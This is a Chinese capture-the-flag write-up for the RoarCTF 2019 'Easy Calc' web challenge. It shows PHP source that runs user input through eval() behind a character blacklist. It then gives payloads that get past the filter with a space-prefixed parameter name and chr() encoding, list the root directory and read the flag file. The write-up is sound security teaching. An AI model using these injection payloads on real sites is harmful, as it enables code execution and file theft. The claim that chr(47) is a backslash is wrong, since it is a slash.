[PHP知识库] [RoarCTF 2019]Easy Calc

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> PHP知识库 -> [RoarCTF 2019]Easy Calc -> 正文阅读

[PHP知识库][RoarCTF 2019]Easy Calc

审题发现calc.php
在这里插入图片描述访问calc.php发现源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

payload1:
?num=1;var_dump(scandir("/"))
在这里插入图片描述
被waf拦截

payload2:
? num=1;var_dump(scandir("/"))
在这里插入图片描述
这里已经过了waf,为什么?
php的解析规则，当php进行解析的时候，如果变量前面有空格，会去掉前面的空格再解析
waf拦截的是变量num,而我们传进去的是’ 'num
’ 'num在php解析时把前面的空格去掉又变成了num

因为$blacklist = [’ ‘, ‘\t’, ‘\r’, ‘\n’,’’’, ‘"’, ‘`’, ‘[’, ‘]’,’$’,’\’,’^’];
所以scandir("/")也需要绕过一下

payload3:
? num=1;var_dump(scandir(chr(47)))
47的ASCII对应的就是’\’
在这里插入图片描述
发现flagg

payload4:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
读取flagg
在这里插入图片描述
PHP知识点:
PHP解析方式
scandir()
var_dump()
file_get_contents()